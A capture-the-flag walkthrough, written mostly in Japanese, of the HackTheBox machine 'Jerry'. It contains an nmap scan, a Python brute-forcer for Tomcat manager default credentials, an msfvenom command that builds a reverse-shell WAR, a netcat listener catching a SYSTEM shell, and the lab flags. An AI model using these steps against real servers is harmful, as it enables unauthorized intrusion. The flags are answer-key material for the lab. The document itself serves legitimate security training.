HackTheBox: Jerry (Machine Easy)

roaris commented 6 months ago

https://app.hackthebox.com/machines/Jerry

$ nmap -sC -sV -Pn 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 15:50 JST
Nmap scan report for 10.10.10.95
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.69 seconds

roaris commented 6 months ago

ポート8080を確認すると、Apache Tomcatの画面が出てくる

manager webappを押すと、Basic認証を求められる

roaris commented 6 months ago

SecListsを確認

tomcat-betterdefaultpasslist.txtを使えば良さそう

$ find /usr/share/SecLists -iname *tomcat*
/usr/share/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist_base64encoded.txt
/usr/share/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
/usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/tomcat-all-levels.txt
/usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/tomcat.txt
/usr/share/SecLists/Discovery/Web-Content/ApacheTomcat.fuzz.txt
/usr/share/SecLists/Discovery/Web-Content/tomcat.txt

roaris commented 6 months ago

総当たりするプログラム tomcat-betterdefaultpasslist_base64encoded.txtを使えば、各行をそのままAuthorizationヘッダに載せるだけでOK

import requests
import base64

url = 'http://10.10.10.95:8080/manager/html'

with open('/usr/share/SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt') as f:
    for line in f:
        username, password = line.strip().split(':')
        encoded = base64.b64encode(f'{username}:{password}'.encode()).decode()
        res = requests.get(url, headers={'Authorization': f'Basic {encoded}'})

        if res.status_code == 200:
            print('valid credential:', username, password)

tomcat / s3cret でいける

roaris commented 6 months ago

Tomcat Web Application Manager という画面が開く

WAR file to deployとあり、ここにWARファイルをアップロードすると、それがアプリケーションとしてデプロイされるらしい

アプリケーションはパスで区切られてデプロイされ、Applicationsのとこから確認することが出来る

参考

roaris commented 6 months ago

リバースシェルを起動するようなアプリケーションをWARファイルとしてアップロード出来れば良いこれはmsfvenomで作成することが出来る https://qiita.com/tanaka-nice/items/0ec926951ffa5a4d197c msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=8080 -f war > pwn.war

roaris commented 6 months ago

作成したWARファイルをアップロードし、ポート8080でリッスンした状態で、Applicationsのとこからアプリを開く

リバースシェルに成功した

$ nc -lvp 8080
listening on [any] 8080 ...
10.10.10.95: inverse host lookup failed: Unknown host
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

roaris commented 6 months ago

user.txt, root.txtを探してもない

C:\apache-tomcat-7.0.88>cd ..
cd ..

C:\>dir /s user.txt
dir /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

C:\>dir /s root.txt
dir /s root.txt
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

roaris commented 6 months ago

/Users/Administrator/Desktop/flagsにフラグがあった

C:\Users\Administrator\Desktop\flags>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

 Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  06:09 AM    <DIR>          .
06/19/2018  06:09 AM    <DIR>          ..
06/19/2018  06:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)   2,366,222,336 bytes free

C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

roaris / ctf-log

HackTheBox: Jerry (Machine Easy) #6